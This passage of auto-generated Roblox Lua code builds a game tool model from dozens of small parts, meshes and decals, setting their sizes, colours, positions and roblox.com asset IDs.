  1761. BlockMesh86.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
  1762. Part87.Parent = Tool0
  1763. Part87.Material = Enum.Material.SmoothPlastic
  1764. Part87.BrickColor = BrickColor.new("Black")
  1765. Part87.Rotation = Vector3.new(-90, 0, -90.5400009)
  1766. Part87.Anchored = true
  1767. Part87.FormFactor = Enum.FormFactor.Custom
  1768. Part87.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1769. Part87.CFrame = CFrame.new(26.9715576, 1.07226598, 138.434814, -0.00939127803, 0.999955833, 7.51574945e-08, 1.75381601e-07, -7.35136751e-08, 0.999999702, 0.999955297, 0.00939120352, -1.74683422e-07)
  1770. Part87.BottomSurface = Enum.SurfaceType.Smooth
  1771. Part87.TopSurface = Enum.SurfaceType.Smooth
  1772. Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1773. Part87.Position = Vector3.new(26.9715576, 1.07226598, 138.434814)
  1774. Part87.Orientation = Vector3.new(-89.9599991, 156.720001, 112.739998)
  1775. Part87.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1776. CylinderMesh88.Parent = Part87
  1777. CylinderMesh88.Offset = Vector3.new(0, 0.119999997, 0)
  1778. CylinderMesh88.Scale = Vector3.new(0.450000018, 1.06499994, 0.450000018)
  1779. CylinderMesh88.Scale = Vector3.new(0.450000018, 1.06499994, 0.450000018)
  1780. Part89.Parent = Tool0
  1781. Part89.Material = Enum.Material.SmoothPlastic
  1782. Part89.BrickColor = BrickColor.new("Dark stone grey")
  1783. Part89.Rotation = Vector3.new(-90, 0, 179.459991)
  1784. Part89.Anchored = true
  1785. Part89.FormFactor = Enum.FormFactor.Custom
  1786. Part89.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1787. Part89.CFrame = CFrame.new(26.9714355, 1.07226598, 138.460022, -0.999948323, -0.00939106941, 2.24161454e-07, -7.54979652e-08, 1.7537991e-07, 0.999993861, -0.00939135253, 0.999946117, -1.73282984e-07)
  1788. Part89.BottomSurface = Enum.SurfaceType.Smooth
  1789. Part89.TopSurface = Enum.SurfaceType.Smooth
  1790. Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1791. Part89.Position = Vector3.new(26.9714355, 1.07226598, 138.460022)
  1792. Part89.Orientation = Vector3.new(-89.7999954, 127.709999, -23.289999)
  1793. Part89.Color = Color3.new(0.388235, 0.372549, 0.384314)
  1794. BlockMesh90.Parent = Part89
  1795. BlockMesh90.Offset = Vector3.new(-0.0269999988, 0, 0)
  1796. BlockMesh90.Scale = Vector3.new(0.149999991, 0.180000007, 0.0749999955)
  1797. BlockMesh90.Scale = Vector3.new(0.149999991, 0.180000007, 0.0749999955)
  1798. Part91.Parent = Tool0
  1799. Part91.Material = Enum.Material.SmoothPlastic
  1800. Part91.BrickColor = BrickColor.new("Black")
  1801. Part91.Reflectance = 0.050000000745058
  1802. Part91.Transparency = 1
  1803. Part91.Rotation = Vector3.new(0, 89.4599991, 0)
  1804. Part91.Anchored = true
  1805. Part91.FormFactor = Enum.FormFactor.Custom
  1806. Part91.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1807. Part91.CFrame = CFrame.new(26.9709473, 1.06616199, 138.530884, 0.00939145684, 4.35706298e-08, 0.999955893, 1.4781123e-08, 0.99999994, -4.37113812e-08, -0.999955773, 1.51909649e-08, 0.00939150155)
  1808. Part91.BottomSurface = Enum.SurfaceType.Smooth
  1809. Part91.TopSurface = Enum.SurfaceType.Smooth
  1810. Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1811. Part91.Position = Vector3.new(26.9709473, 1.06616199, 138.530884)
  1812. Part91.Orientation = Vector3.new(0, 89.4599991, 0)
  1813. Part91.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1814. Decal92.Parent = Part91
  1815. Decal92.Texture = "http://www.roblox.com/asset/?id=30856952"
  1816. Decal93.Parent = Part91
  1817. Decal93.Texture = "http://www.roblox.com/asset/?id=30856952"
  1818. Decal93.Face = Enum.NormalId.Back
  1819. BlockMesh94.Parent = Part91
  1820. BlockMesh94.Offset = Vector3.new(0, 0, 0.119999997)
  1821. BlockMesh94.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1822. BlockMesh94.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1823. Part95.Parent = Tool0
  1824. Part95.Material = Enum.Material.SmoothPlastic
  1825. Part95.BrickColor = BrickColor.new("Black")
  1826. Part95.Reflectance = 0.050000000745058
  1827. Part95.Rotation = Vector3.new(0, 89.4599991, 0)
  1828. Part95.Anchored = true
  1829. Part95.FormFactor = Enum.FormFactor.Custom
  1830. Part95.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1831. Part95.CFrame = CFrame.new(27.215332, 1.20727503, 138.719482, 0.00939106941, 1.04958431e-07, 0.999955714, -1.75381587e-07, 0.999999583, -1.03315969e-07, -0.999955237, -1.74403468e-07, 0.00939127803)
  1832. Part95.BottomSurface = Enum.SurfaceType.Smooth
  1833. Part95.TopSurface = Enum.SurfaceType.Smooth
  1834. Part95.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1835. Part95.Position = Vector3.new(27.215332, 1.20727503, 138.719482)
  1836. Part95.Orientation = Vector3.new(0, 89.4599991, 0)
  1837. Part95.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1838. SpecialMesh96.Parent = Part95
  1839. SpecialMesh96.MeshId = "http://www.roblox.com/asset/?id=12221344"
  1840. SpecialMesh96.Scale = Vector3.new(0.0900000036, 0.119999997, 0.00300000003)
  1841. SpecialMesh96.MeshType = Enum.MeshType.FileMesh
  1842. SpecialMesh96.Scale = Vector3.new(0.0900000036, 0.119999997, 0.00300000003)
  1843. Part97.Parent = Tool0
  1844. Part97.Material = Enum.Material.SmoothPlastic
  1845. Part97.BrickColor = BrickColor.new("Black")
  1846. Part97.Reflectance = 0.050000000745058
  1847. Part97.Transparency = 1
  1848. Part97.Rotation = Vector3.new(0, 89.4599991, 0)
  1849. Part97.Anchored = true
  1850. Part97.FormFactor = Enum.FormFactor.Custom
  1851. Part97.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1852. Part97.CFrame = CFrame.new(26.9727783, 1.06616199, 138.338989, 0.00939145684, 4.35706298e-08, 0.999955893, 1.4781123e-08, 0.99999994, -4.37113812e-08, -0.999955773, 1.51909649e-08, 0.00939150155)
  1853. Part97.BottomSurface = Enum.SurfaceType.Smooth
  1854. Part97.TopSurface = Enum.SurfaceType.Smooth
  1855. Part97.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1856. Part97.Position = Vector3.new(26.9727783, 1.06616199, 138.338989)
  1857. Part97.Orientation = Vector3.new(0, 89.4599991, 0)
  1858. Part97.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1859. Decal98.Parent = Part97
  1860. Decal98.Texture = "http://www.roblox.com/asset/?id=30856892"
  1861. Decal99.Parent = Part97
  1862. Decal99.Texture = "http://www.roblox.com/asset/?id=30856892"
  1863. Decal99.Face = Enum.NormalId.Back
  1864. BlockMesh100.Parent = Part97
  1865. BlockMesh100.Offset = Vector3.new(0, 0, 0.119999997)
  1866. BlockMesh100.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1867. BlockMesh100.Scale = Vector3.new(0.450000018, 0.180000007, 1.04999995)
  1868. Part101.Parent = Tool0
  1869. Part101.Material = Enum.Material.SmoothPlastic
  1870. Part101.BrickColor = BrickColor.new("Black")
  1871. Part101.Reflectance = 0.050000000745058
  1872. Part101.Rotation = Vector3.new(0, -0.539999962, 90)
  1873. Part101.Anchored = true
  1874. Part101.FormFactor = Enum.FormFactor.Custom
  1875. Part101.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1876. Part101.CFrame = CFrame.new(27.2094727, 1.16210902, 138.716553, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
  1877. Part101.BottomSurface = Enum.SurfaceType.Smooth
  1878. Part101.TopSurface = Enum.SurfaceType.Smooth
  1879. Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1880. Part101.Position = Vector3.new(27.2094727, 1.16210902, 138.716553)
  1881. Part101.Orientation = Vector3.new(0, -0.539999962, 90)
  1882. Part101.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1883. BlockMesh102.Parent = Part101
  1884. BlockMesh102.Offset = Vector3.new(-0.00749999983, 0.00300000003, 0)
  1885. BlockMesh102.Scale = Vector3.new(0.180000007, 0.119999997, 0.299999982)
  1886. BlockMesh102.Scale = Vector3.new(0.180000007, 0.119999997, 0.299999982)
  1887. Part103.Parent = Tool0
  1888. Part103.Material = Enum.Material.SmoothPlastic
  1889. Part103.BrickColor = BrickColor.new("Black")
  1890. Part103.Reflectance = 0.050000000745058
  1891. Part103.Rotation = Vector3.new(0, -0.539999962, 90)
  1892. Part103.Anchored = true
  1893. Part103.FormFactor = Enum.FormFactor.Custom
  1894. Part103.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1895. Part103.CFrame = CFrame.new(27.2094727, 1.12622094, 138.716553, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
  1896. Part103.BottomSurface = Enum.SurfaceType.Smooth
  1897. Part103.TopSurface = Enum.SurfaceType.Smooth
  1898. Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1899. Part103.Position = Vector3.new(27.2094727, 1.12622094, 138.716553)
  1900. Part103.Orientation = Vector3.new(0, -0.539999962, 90)
  1901. Part103.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1902. BlockMesh104.Parent = Part103
  1903. BlockMesh104.Scale = Vector3.new(0.540000021, 0.119999997, 0.0749999955)
  1904. BlockMesh104.Scale = Vector3.new(0.540000021, 0.119999997, 0.0749999955)
  1905. Part105.Parent = Tool0
  1906. Part105.Material = Enum.Material.SmoothPlastic
  1907. Part105.BrickColor = BrickColor.new("Black")
  1908. Part105.Rotation = Vector3.new(-90, 0, 179.459991)
  1909. Part105.Anchored = true
  1910. Part105.FormFactor = Enum.FormFactor.Custom
  1911. Part105.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1912. Part105.CFrame = CFrame.new(27.2172852, 1.07226598, 138.462296, -0.999955833, -0.00939127803, 7.44607718e-08, 7.35136609e-08, 1.01192242e-07, 0.999999702, -0.00939120352, 0.999955297, -1.00497417e-07)
  1913. Part105.BottomSurface = Enum.SurfaceType.Smooth
  1914. Part105.TopSurface = Enum.SurfaceType.Smooth
  1915. Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1916. Part105.Position = Vector3.new(27.2172852, 1.07226598, 138.462296)
  1917. Part105.Orientation = Vector3.new(-89.9599991, 143.459991, 36)
  1918. Part105.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1919. BlockMesh106.Parent = Part105
  1920. BlockMesh106.Offset = Vector3.new(0.0149999997, 0.0539999977, 0)
  1921. BlockMesh106.Scale = Vector3.new(0.149999991, 0.540000021, 0.149999991)
  1922. BlockMesh106.Scale = Vector3.new(0.149999991, 0.540000021, 0.149999991)
  1923. Part107.Parent = Tool0
  1924. Part107.Material = Enum.Material.SmoothPlastic
  1925. Part107.BrickColor = BrickColor.new("Black")
  1926. Part107.Reflectance = 0.050000000745058
  1927. Part107.Rotation = Vector3.new(0, -0.539999962, 90)
  1928. Part107.Anchored = true
  1929. Part107.FormFactor = Enum.FormFactor.Custom
  1930. Part107.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1931. Part107.CFrame = CFrame.new(27.2086182, 1.04223597, 138.776367, 1.11260377e-07, -0.999955833, -0.00939127803, 0.999999702, 1.09478208e-07, 1.90282762e-07, -1.8924618e-07, -0.00939120352, 0.999955297)
  1932. Part107.BottomSurface = Enum.SurfaceType.Smooth
  1933. Part107.TopSurface = Enum.SurfaceType.Smooth
  1934. Part107.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1935. Part107.Position = Vector3.new(27.2086182, 1.04223597, 138.776367)
  1936. Part107.Orientation = Vector3.new(0, -0.539999962, 90)
  1937. Part107.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1938. BlockMesh108.Parent = Part107
  1939. BlockMesh108.Offset = Vector3.new(0, 0.0120000001, 0)
  1940. BlockMesh108.Scale = Vector3.new(0.180000007, 0.0299999993, 0.825000048)
  1941. BlockMesh108.Scale = Vector3.new(0.180000007, 0.0299999993, 0.825000048)
  1942. Part109.Parent = Tool0
  1943. Part109.Material = Enum.Material.SmoothPlastic
  1944. Part109.BrickColor = BrickColor.new("Black")
  1945. Part109.Reflectance = 0.050000000745058
  1946. Part109.Rotation = Vector3.new(0, 89.4599991, -90)
  1947. Part109.Anchored = true
  1948. Part109.FormFactor = Enum.FormFactor.Custom
  1949. Part109.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1950. Part109.CFrame = CFrame.new(26.9537354, 0.913085997, 138.828003, -7.51574945e-08, 0.00939127803, 0.999955833, -0.999999702, -1.75381601e-07, -7.35136751e-08, 1.74683422e-07, -0.999955297, 0.00939120352)
  1951. Part109.BottomSurface = Enum.SurfaceType.Smooth
  1952. Part109.TopSurface = Enum.SurfaceType.Smooth
  1953. Part109.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1954. Part109.Position = Vector3.new(26.9537354, 0.913085997, 138.828003)
  1955. Part109.Orientation = Vector3.new(0, 89.4599991, -90)
  1956. Part109.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1957. CylinderMesh110.Parent = Part109
  1958. CylinderMesh110.Offset = Vector3.new(0, 0, 0.0450000018)
  1959. CylinderMesh110.Scale = Vector3.new(0.225000009, 0.900000036, 0.225000009)
  1960. CylinderMesh110.Scale = Vector3.new(0.225000009, 0.900000036, 0.225000009)
  1961. Part111.Parent = Tool0
  1962. Part111.Material = Enum.Material.SmoothPlastic
  1963. Part111.BrickColor = BrickColor.new("Black")
  1964. Part111.Reflectance = 0.050000000745058
  1965. Part111.Rotation = Vector3.new(0, -0.539999962, -180)
  1966. Part111.Anchored = true
  1967. Part111.FormFactor = Enum.FormFactor.Custom
  1968. Part111.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1969. Part111.CFrame = CFrame.new(26.9494629, 1.03320301, 138.887573, -0.999949455, 6.38106201e-07, -0.00939075649, -8.80158211e-07, -0.999994636, 3.69093527e-07, -0.00939118862, 3.90005596e-07, 0.999947309)
  1970. Part111.BottomSurface = Enum.SurfaceType.Smooth
  1971. Part111.TopSurface = Enum.SurfaceType.Smooth
  1972. Part111.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1973. Part111.Position = Vector3.new(26.9494629, 1.03320301, 138.887573)
  1974. Part111.Orientation = Vector3.new(0, -0.539999962, -180)
  1975. Part111.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1976. CylinderMesh112.Parent = Part111
  1977. CylinderMesh112.Offset = Vector3.new(-0.0299999993, 0, 0)
  1978. CylinderMesh112.Scale = Vector3.new(0.225000009, 1.5, 0.225000009)
  1979. CylinderMesh112.Scale = Vector3.new(0.225000009, 1.5, 0.225000009)
  1980. Part113.Parent = Tool0
  1981. Part113.Material = Enum.Material.SmoothPlastic
  1982. Part113.BrickColor = BrickColor.new("Black")
  1983. Part113.Reflectance = 0.050000000745058
  1984. Part113.Rotation = Vector3.new(0, -0.539999962, 90)
  1985. Part113.Anchored = true
  1986. Part113.FormFactor = Enum.FormFactor.Custom
  1987. Part113.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  1988. Part113.CFrame = CFrame.new(27.1765137, 1.39330995, 138.985901, 8.71412595e-08, -0.999955893, -0.00939127803, 0.999999881, 8.74227624e-08, -2.9562246e-08, 3.03819299e-08, -0.00939150155, 0.999955535)
  1989. Part113.BottomSurface = Enum.SurfaceType.Smooth
  1990. Part113.TopSurface = Enum.SurfaceType.Smooth
  1991. Part113.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1992. Part113.Position = Vector3.new(27.1765137, 1.39330995, 138.985901)
  1993. Part113.Orientation = Vector3.new(0, -0.539999962, 90)
  1994. Part113.Color = Color3.new(0.105882, 0.164706, 0.207843)
  1995. BlockMesh114.Parent = Part113
  1996. BlockMesh114.Offset = Vector3.new(-0.0299999993, 0, 0)
  1997. BlockMesh114.Scale = Vector3.new(0.450000018, 0.149999961, 0.900000036)
  1998. BlockMesh114.Scale = Vector3.new(0.450000018, 0.149999961, 0.900000036)
  1999. Part115.Parent = Tool0
  2000. Part115.Material = Enum.Material.SmoothPlastic
  2001. Part115.BrickColor = BrickColor.new("Black")
  2002. Part115.Reflectance = 0.050000000745058
  2003. Part115.Rotation = Vector3.new(0, -0.539999962, 90)
  2004. Part115.Anchored = true
  2005. Part115.FormFactor = Enum.FormFactor.Custom
  2006. Part115.Size = Vector3.new(0.347999901, 0.200000003, 0.200000003)
  2007. Part115.CFrame = CFrame.new(27.2078857, 1.00610304, 138.851563, 8.71412595e-08, -0.999955893, -0.00939127803, 0.999999881, 8.74227624e-08, -2.9562246e-08, 3.03819299e-08, -0.00939150155, 0.999955535)
  2008. Part115.BottomSurface = Enum.SurfaceType.Smooth
  2009. Part115.TopSurface = Enum.SurfaceType.Smooth
  2010. Part115.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2011. Part115.Position = Vector3.new(27.2078857, 1.00610304, 138.851563)
  2012. Part115.Orientation = Vector3.new(0, -0.539999962, 90)
  2013. Part115.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2014. BlockMesh116.Parent = Part115
  2015. BlockMesh116.Offset = Vector3.new(0, 0.0149999997, 0)
  2016. BlockMesh116.Scale = Vector3.new(1, 0.0299999993, 0.450000018)
  2017. BlockMesh116.Scale = Vector3.new(1, 0.0299999993, 0.450000018)
  2018. Part117.Parent = Tool0
  2019. Part117.Material = Enum.Material.SmoothPlastic
  2020. Part117.BrickColor = BrickColor.new("Black")
  2021. Part117.Reflectance = 0.050000000745058
  2022. Part117.Rotation = Vector3.new(-0.00999999978, 89.4199982, 0)
  2023. Part117.Anchored = true
  2024. Part117.FormFactor = Enum.FormFactor.Custom
  2025. Part117.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2026. Part117.CFrame = CFrame.new(26.9803467, 1.00317395, 138.831116, 0.00939099491, -5.48562753e-07, 0.999948323, -3.83994234e-07, 0.99999392, 8.20552998e-07, -0.999946356, -4.04066043e-07, 0.00939123333)
  2027. Part117.BottomSurface = Enum.SurfaceType.Smooth
  2028. Part117.TopSurface = Enum.SurfaceType.Smooth
  2029. Part117.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2030. Part117.Position = Vector3.new(26.9803467, 1.00317395, 138.831116)
  2031. Part117.Orientation = Vector3.new(0, 89.4599991, 0)
  2032. Part117.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2033. SpecialMesh118.Parent = Part117
  2034. SpecialMesh118.MeshId = "http://www.roblox.com/asset/?id=12221344"
  2035. SpecialMesh118.Scale = Vector3.new(0.119999997, 0.180000007, 0.00300000003)
  2036. SpecialMesh118.MeshType = Enum.MeshType.FileMesh
  2037. SpecialMesh118.Scale = Vector3.new(0.119999997, 0.180000007, 0.00300000003)
  2038. Part119.Parent = Tool0
  2039. Part119.Material = Enum.Material.SmoothPlastic
  2040. Part119.BrickColor = BrickColor.new("Black")
  2041. Part119.Reflectance = 0.050000000745058
  2042. Part119.Rotation = Vector3.new(180, 0.539999962, -180)
  2043. Part119.Anchored = true
  2044. Part119.FormFactor = Enum.FormFactor.Custom
  2045. Part119.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2046. Part119.CFrame = CFrame.new(27.0974121, 1.13525403, 138.157227, -0.999955833, 7.51575016e-08, 0.00939106941, 7.35136609e-08, 0.999999523, -1.7538153e-07, -0.00939126313, -1.74683436e-07, -0.999955058)
  2047. Part119.BottomSurface = Enum.SurfaceType.Smooth
  2048. Part119.TopSurface = Enum.SurfaceType.Smooth
  2049. Part119.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2050. Part119.Position = Vector3.new(27.0974121, 1.13525403, 138.157227)
  2051. Part119.Orientation = Vector3.new(0, 179.459991, 0)
  2052. Part119.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2053. BlockMesh120.Parent = Part119
  2054. BlockMesh120.Offset = Vector3.new(0.00150000001, 0.0164999999, -0.0164999999)
  2055. BlockMesh120.Scale = Vector3.new(1.01999998, 0.652500093, 1.08000004)
  2056. BlockMesh120.Scale = Vector3.new(1.01999998, 0.652500093, 1.08000004)
  2057. Part121.Parent = Tool0
  2058. Part121.Material = Enum.Material.SmoothPlastic
  2059. Part121.BrickColor = BrickColor.new("Black")
  2060. Part121.Reflectance = 0.20000000298023
  2061. Part121.Rotation = Vector3.new(-90, 0, 179.459991)
  2062. Part121.Anchored = true
  2063. Part121.FormFactor = Enum.FormFactor.Custom
  2064. Part121.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2065. Part121.CFrame = CFrame.new(27.2125244, 1.10522497, 138.347412, -0.999955535, -0.00939102471, 9.95769938e-08, 9.56952277e-08, 4.13800024e-07, 0.999999464, -0.00939133763, 0.999954998, -4.12883026e-07)
  2066. Part121.BottomSurface = Enum.SurfaceType.Smooth
  2067. Part121.TopSurface = Enum.SurfaceType.Smooth
  2068. Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2069. Part121.Position = Vector3.new(27.2125244, 1.10522497, 138.347412)
  2070. Part121.Orientation = Vector3.new(-89.9399948, 166.440002, 13.0199995)
  2071. Part121.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2072. BlockMesh122.Parent = Part121
  2073. BlockMesh122.Offset = Vector3.new(0.0149999997, 0, 0)
  2074. BlockMesh122.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
  2075. BlockMesh122.Scale = Vector3.new(0.149999991, 0.225000009, 0.119999997)
  2076. Part123.Parent = Tool0
  2077. Part123.Material = Enum.Material.SmoothPlastic
  2078. Part123.BrickColor = BrickColor.new("Black")
  2079. Part123.Reflectance = 0.050000000745058
  2080. Part123.Rotation = Vector3.new(180, 0.539999962, -180)
  2081. Part123.Anchored = true
  2082. Part123.FormFactor = Enum.FormFactor.Custom
  2083. Part123.Size = Vector3.new(0.209999993, 0.300000012, 0.959999979)
  2084. Part123.CFrame = CFrame.new(27.0889893, 1.06616199, 138.732971, -0.999955833, 7.51575016e-08, 0.00939102471, 7.35136609e-08, 0.999999583, -1.75381558e-07, -0.00939126313, -1.74683436e-07, -0.999954998)
  2085. Part123.BottomSurface = Enum.SurfaceType.Smooth
  2086. Part123.TopSurface = Enum.SurfaceType.Smooth
  2087. Part123.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2088. Part123.Position = Vector3.new(27.0889893, 1.06616199, 138.732971)
  2089. Part123.Orientation = Vector3.new(0, 179.459991, 0)
  2090. Part123.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2091. BlockMesh124.Parent = Part123
  2092. BlockMesh124.Scale = Vector3.new(1, 1, 0.950000048)
  2093. BlockMesh124.Scale = Vector3.new(1, 1, 0.950000048)
  2094. Part125.Parent = Tool0
  2095. Part125.Material = Enum.Material.SmoothPlastic
  2096. Part125.BrickColor = BrickColor.new("Black")
  2097. Part125.Reflectance = 0.050000000745058
  2098. Part125.Rotation = Vector3.new(180, 0.539999962, 105)
  2099. Part125.Anchored = true
  2100. Part125.FormFactor = Enum.FormFactor.Custom
  2101. Part125.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2102. Part125.CFrame = CFrame.new(26.9566669, 1.35107398, 138.758911, -0.258817226, -0.965878427, 0.00939102471, -0.965921342, 0.258828729, -1.3166985e-07, -0.00243057683, -0.00907120109, -0.999952912)
  2103. Part125.BottomSurface = Enum.SurfaceType.Smooth
  2104. Part125.TopSurface = Enum.SurfaceType.Smooth
  2105. Part125.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2106. Part125.Position = Vector3.new(26.9566669, 1.35107398, 138.758911)
  2107. Part125.Orientation = Vector3.new(0, 179.459991, -75)
  2108. Part125.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2109. SpecialMesh126.Parent = Part125
  2110. SpecialMesh126.Scale = Vector3.new(0.599999964, 0.599999964, 0.599999964)
  2111. SpecialMesh126.MeshType = Enum.MeshType.Torso
  2112. SpecialMesh126.Scale = Vector3.new(0.599999964, 0.599999964, 0.599999964)
  2113. Part127.Parent = Tool0
  2114. Part127.Material = Enum.Material.SmoothPlastic
  2115. Part127.BrickColor = BrickColor.new("Black")
  2116. Part127.Reflectance = 0.050000000745058
  2117. Part127.Rotation = Vector3.new(-180, 0.539999962, 180)
  2118. Part127.Anchored = true
  2119. Part127.FormFactor = Enum.FormFactor.Custom
  2120. Part127.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
  2121. Part127.CFrame = CFrame.new(27.1043701, 1.23608398, 138.085327, -0.999955833, -4.52194536e-06, 0.00939102471, -4.46485592e-06, 0.999999583, 6.10001689e-06, -0.00939126313, 6.05781406e-06, -0.999954998)
  2122. Part127.BottomSurface = Enum.SurfaceType.Smooth
  2123. Part127.TopSurface = Enum.SurfaceType.Smooth
  2124. Part127.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2125. Part127.Position = Vector3.new(27.1043701, 1.23608398, 138.085327)
  2126. Part127.Orientation = Vector3.new(0, 179.459991, 0)
  2127. Part127.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2128. SpecialMesh128.Parent = Part127
  2129. SpecialMesh128.MeshId = "http://www.roblox.com/asset/?id=12221344"
  2130. SpecialMesh128.Scale = Vector3.new(0.479999989, 0.629999995, 0.0149999997)
  2131. SpecialMesh128.MeshType = Enum.MeshType.FileMesh
  2132. SpecialMesh128.Scale = Vector3.new(0.479999989, 0.629999995, 0.0149999997)
  2133. Part129.Parent = Tool0
  2134. Part129.Material = Enum.Material.SmoothPlastic
  2135. Part129.BrickColor = BrickColor.new("Black")
  2136. Part129.Reflectance = 0.050000000745058
  2137. Part129.Rotation = Vector3.new(-90, 0, 179.459991)
  2138. Part129.Anchored = true
  2139. Part129.FormFactor = Enum.FormFactor.Custom
  2140. Part129.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2141. Part129.CFrame = CFrame.new(27.0843506, 1.10229504, 139.216187, -0.999955714, -0.0093909651, -2.52597529e-05, -2.52627906e-05, 2.05183838e-07, 0.999999583, -0.00939120352, 0.999954998, -4.42417331e-07)
  2142. Part129.BottomSurface = Enum.SurfaceType.Smooth
  2143. Part129.TopSurface = Enum.SurfaceType.Smooth
  2144. Part129.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2145. Part129.Position = Vector3.new(27.0843506, 1.10229504, 139.216187)
  2146. Part129.Orientation = Vector3.new(-89.9499969, -91, -89.5299988)
  2147. Part129.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2148. SpecialMesh130.Parent = Part129
  2149. SpecialMesh130.Scale = Vector3.new(1, 0.360000014, 0.299999982)
  2150. SpecialMesh130.MeshType = Enum.MeshType.Wedge
  2151. SpecialMesh130.Scale = Vector3.new(1, 0.360000014, 0.299999982)
  2152. Part131.Parent = Tool0
  2153. Part131.Material = Enum.Material.SmoothPlastic
  2154. Part131.BrickColor = BrickColor.new("Black")
  2155. Part131.Reflectance = 0.050000000745058
  2156. Part131.Rotation = Vector3.new(-180, -89.4599991, -90)
  2157. Part131.Anchored = true
  2158. Part131.FormFactor = Enum.FormFactor.Custom
  2159. Part131.Size = Vector3.new(0.209999993, 0.200000003, 0.209999993)
  2160. Part131.CFrame = CFrame.new(27.1380615, 1.27026403, 138.172791, 7.51575016e-08, 0.00939102471, -0.999955833, 0.999999583, -1.75381558e-07, 7.35136609e-08, -1.74683436e-07, -0.999954998, -0.00939126313)
  2161. Part131.BottomSurface = Enum.SurfaceType.Smooth
  2162. Part131.TopSurface = Enum.SurfaceType.Smooth
  2163. Part131.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2164. Part131.Position = Vector3.new(27.1380615, 1.27026403, 138.172791)
  2165. Part131.Orientation = Vector3.new(0, -90.5400009, 90)
  2166. Part131.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2167. CylinderMesh132.Parent = Part131
  2168. CylinderMesh132.Scale = Vector3.new(1.1500001, 0.75, 1.04999995)
  2169. CylinderMesh132.Scale = Vector3.new(1.1500001, 0.75, 1.04999995)
  2170. Part133.Parent = Tool0
  2171. Part133.Material = Enum.Material.SmoothPlastic
  2172. Part133.BrickColor = BrickColor.new("Black")
  2173. Part133.Reflectance = 0.050000000745058
  2174. Part133.Rotation = Vector3.new(90, 0, -179.459991)
  2175. Part133.Anchored = true
  2176. Part133.FormFactor = Enum.FormFactor.Custom
  2177. Part133.Size = Vector3.new(0.209999993, 0.200000003, 0.200000003)
  2178. Part133.CFrame = CFrame.new(27.0895996, 0.834227979, 138.712296, -0.999955833, 0.00939102471, -7.48776188e-08, 7.35136609e-08, -1.45579236e-07, -0.999999583, -0.00939126313, -0.999954998, 1.44882463e-07)
  2179. Part133.BottomSurface = Enum.SurfaceType.Smooth
  2180. Part133.TopSurface = Enum.SurfaceType.Smooth
  2181. Part133.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2182. Part133.Position = Vector3.new(27.0895996, 0.834227979, 138.712296)
  2183. Part133.Orientation = Vector3.new(89.9499969, -27.3299999, 153.209991)
  2184. Part133.Color = Color3.new(0.105882, 0.164706, 0.207843)
  2185. SpecialMesh134.Parent = Part133
